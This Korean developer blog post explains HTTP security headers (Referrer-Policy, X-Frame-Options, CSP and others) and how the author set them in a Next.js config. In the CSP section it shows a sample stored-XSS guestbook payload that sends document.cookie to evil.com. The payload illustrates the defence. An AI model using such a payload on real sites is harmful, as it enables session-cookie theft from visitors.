
X-Frame-Options, X-Content-Type-Options, Referrer-Policy 등
최근에 동료분이 SEO를 검증하는 클로드 플러그인을 추천해주셔서 해당 플러그인을 사용해봤다. 이 플러그인은 URL만 제공하면 claude가 알아서 해당 사이트의 검색엔진 최적화 점수를 채점해주는 방식이다.
SEO를 채점하는 건 light house말고는 없는 줄 알았는데, 생각보다 LightHouse에서는 잡히지 않는 크고 작은 속성들이나 지켜야할 점들이 더 있어서 재밌고 놀랐다.
그렇게 그 플러그인을 돌려보면 내 블로그의 글에 대한 SEO를 점수화해서 보여준다. 나름 개인 블로그다보니 어느정도 높은 점수가 나올 줄 알았는데 60점대가 나와서 당황하기도 했다.
채점하면, 아래에 개선사항도 정리해주는데, 그 중에 보안헤더에 관한 이야기가 있어서 해당 내용을 내 블로그에 적용해보면서 공부도 하고 공유도 할겸해서 블로그를 적어본다.
썸네일
보안헤더?
정보보안 강의나 웹 강의를 들을때면, XSS 스크립트 인젝팅이나, 이미지 태그에 악성코드를 다운받는 외부 GET URL을 작성하는 등의 다양하고 신박한 공격 방법에 대해서 들어본 적이 있다.
기본적으로 우리가 사용하는 웹 브라우저는 보안에 대해서 꽤 관대하게 설계되어있다. 웹 초창기에는 호환성을 우선적으로 고려했기 때문에 특별한 지시가 없다면 많은 공격 표면들을 허용하는 경우가 많다.
보안헤더는 브라우저 단에서 공격 받을 수 있는 여러가지 경우의 수를 미리 차단하거나 일정 부분은 허용하거나 하는 기능이다.
보안헤더는 FE, BE 어떤 쪽의 영역인가?
보안은 백엔드의 영역이라고 생각하기 쉽지만, 보안 헤더는 브라우저의 동작을 제어하는 기능이기 때문에 프론트엔드 레이어에서 설정하는게 좋다.
내 블로그는 Next.js 위에 만들어진 프로젝트이기 때문에 next.config.js를 수정하는 방식으로 보안헤더를 쉽게 적용이 가능했다.
보안헤더
보안 헤더의 종류
보안 헤더의 종류는 매우 많다. 그 중 대표적인 것들과 내 블로그에 적용한 것들 정도로 알아보자.
X-Content-Type-Options
HTTP 요청의 Content type에 관한 것이라는 것을 이름을 통해 짐작할 수 있다.
이 헤더는 브라우저가 서버가 지정한(선언한) Content-Type을 무시하고 파일 내용을 직접 분석하고 타입을 추측하는 것을 막을지에 대한 헤더이다.
예를 들어 서버가 text/plain으로 응답했는데 브라우저가 js로 판단을 멋대로하고, js처럼 실행해버릴 수 있다. 이 과정에서 text안에 정말로 js로 된 악성코드가 있다면, 실행이 될 수 있다.
💡헤더 앞에 붙는 X- 접두사는 무엇인가?
헤더 앞에 붙는 X 접두사는 비표준 실험적(eXperimental) 헤더라는 뜻으로, 원래는 표준이 아니었고 개발자들이 자체적으로 만들어서 사용했던 헤더여서 그렇다.
그런데 이제는 표준으로 굳어진 것들도 많다고 한다. 기술적인 의미는 없다는 뜻. 그럼에도 커스텀으로 헤더를 쓸 때는 관용적으로 X를 쓰는 것 같다!
X-Frame-Options
내 사이트가 다른 사이트의 <iframe> 안에 들어가는 것을 막는 옵션
iframe을 만들어놓고, 투명하게 만들어버리면 사용자가 보이는 것과 다른 요소를 클릭하게 만들 수 있다. 이걸 클릭재킹이라고 하는데, 이런 가능성을 원천 차단하기 위해서 이런 것을 사용한다.
아래 같은 케이스를 방지할 수 있다.
UI 위에 UI(투명 iframe)을 올려서 클릭 유도하는 케이스
Referrer-Policy
다른 사이트로 이동할 때, Referer 헤더에 얼마나 많은 정보를 담을지에 대한 제어 헤더이다.
브라우저는 기본적으로, A 사이트에서 B 사이트로 이동하는 과정에서 어디서 왔는지에 대한 정보를 referrer 객체에 담는다.
GET /some-page HTTP/1.1
Host: b-site.com
Referer: https://shipfriend.dev/posts/secret-draft?token=abc123&preview=true
기본적으로, 위처럼 전체 URL이 전달된다. 쿼리스트링도 포함, 내 블로그에는 그런 케이스는 없지만 AWS 같은 경우도 url에 token 정보를 담고 있는 경우가 있다. 이런 경우 AWS(A 사이트) -> B 사이트로 이동할 때 토큰 값을 B 사이트가 탈취할 수 있다. 이럴 경우 referrer 객체에 들어가는 값을 제어 해줘야한다.
헤더 목록
- no-referrer: 아예 referrer 객체 안보냄
- no-referrer-when-downgrade: HTTPS->HTTP 다운그레이드 할 때만 안보냄, 나머지는 전체 URL 보냄
- origin: 항상 도메인만 보냄
- origin-when-cross-origin: 다른 사이트로 갈 때만 도메인만 보내고, 같은 사이트는 전체 URL
- same-origin: 다른 사이트에는 아예 안보냄, 같은 사이트는 전체 URL
- strict-origin: 항상 도메인, HTTPS->HTTP로 다운그레이드시 안보냄
- strict-origin-when-cross-origin (현대 브라우저 기본값이자 권장값): 다른 도메인은 도메인만, 다운그레이드시 안보냄, 같은 도메인은 전체 URL
- unsafe-url: 항상 전체 URL
Content-Security-Policy (CSP)
어디서 온 리소스만 실행할지를 화이트리스트로 정의하는 헤더, XSS 공격을 최후로 막을 수 있는 방어선 역할을 한다.
XSS로 일단 공격 목적 스크립트가 주입되었다고 할 때, 그 리소스가 어디서 왔는지, 어떻게 실행되는지 등에 대해서 확인하고 실행을 원천 차단하는 역할을 한다.
/atelier 방명록
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
입력값 검증(sanitize)이 제대로 되어 있지 않다면, 이 메시지가 그대로 HTML로 렌더링된다. 그 순간 방명록 페이지를 방문하는 모든 사람의 브라우저에서 악의적인 코드가 실행될 수 있다.
기본적으로는 sanitize가 있지만, 어떤 방법으로 우회가 되거나 했다면 CSP는 브라우저 레벨의 방어막이다. 출처와 실행방법 등으로 제어가 가능하다.
출처 확인
script-src 'self' https://cdn.example.com
→ 내 도메인이랑 저 CDN에서 온 스크립트만 실행
→ 공격자가 https://evil.com/malware.js 주입해도 차단
실행 방식 (어떻게 실행되냐)
script-src 'self' ← unsafe-inline 없음
→ <script src="..."> 형태만 허용
→ <script>alert('xss')</script> 인라인 스크립트 차단
→ onclick="evil()" 이벤트 핸들러 차단
→ eval("악성코드") eval 차단
💬
next.js에서 image remotePatterns와 차이점
next.js에서는 개발자가 허용한 pathname에 대해서만 이미지를 가져올 수 있도록 제한하는 옵션이 기본적으로 걸려있다. 이 것도 경로를 화이트리스트 방식으로 제한하는 것이라 CSP와 유사하다. 하지만 이미지 경로는 서버 레벨에서 차단하고, CSP는 브라우저 레벨에서 차단한다는 점이 차이점이다. 브라우저 자체에서 이미 차단할 리소스가 렌더링이 되었더라도, 실제 실행이나 요청 자체를 차단하는 방식으로 동작한다. 즉 레이어 차이!
Atelier 많관부
X-DNS-Prefetch-Control
이 헤더는 조금 재미있는 기능을 가지고 있다. DNS를 미리 조회하는 것에 대한 제어옵션인데, 말그대로 내 블로그의 어떤 외부 링크가 있을 때 그 링크를 클릭하기 전에 미리 DNS를 조회해서 IP를 가져온다. 이를 통해 빠른 조회가 가능하게 하는 헤더이다.
기본 값은 브라우저마다 다르다. Chrome은 기본적으로 on이지만, Firefox는 off라고 한다.
이 헤더는 성능 헤더 쪽이지만 보안 헤더라고 보는 경우도 있다. prefetch가 발생하면 사용자가 클릭하기도 전에 도메인 정보가 외부 DNS로 나가기 때문에, 사용자가 어떤 링크가 있는 페이지를 봤는지를 DNS 쿼리로 확인할 수 있다. 이 때문에 보안 헤더로 보고 제어권을 주는 식이라고 한다.
Next.js에서 적용하기
next.config.js에서 쉽게 보안헤더를 설정할 수 있다. 브라우저마다 기본 값이 다른 헤더들도 있고, 실제로 제어해야하는 경우에 맞게 적절하게 값을 지정해서 사용하면 된다.
// next.config.js 중 일부
const securityHeaders = [
{ key: 'X-DNS-Prefetch-Control', value: 'on' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
{ key: 'X-Frame-Options', value: 'SAMEORIGIN' },
{ key: 'X-XSS-Protection', value: '1; mode=block' },
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
{
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload',
},
];
// ...
async headers() {
return [
{
source: '/(.*)',
headers: securityHeaders,
},
];
},
Claude SEO Plugin
동료분이 추천해준 플러그인은 아래 레포에서 사용해볼 수 있다. 👍
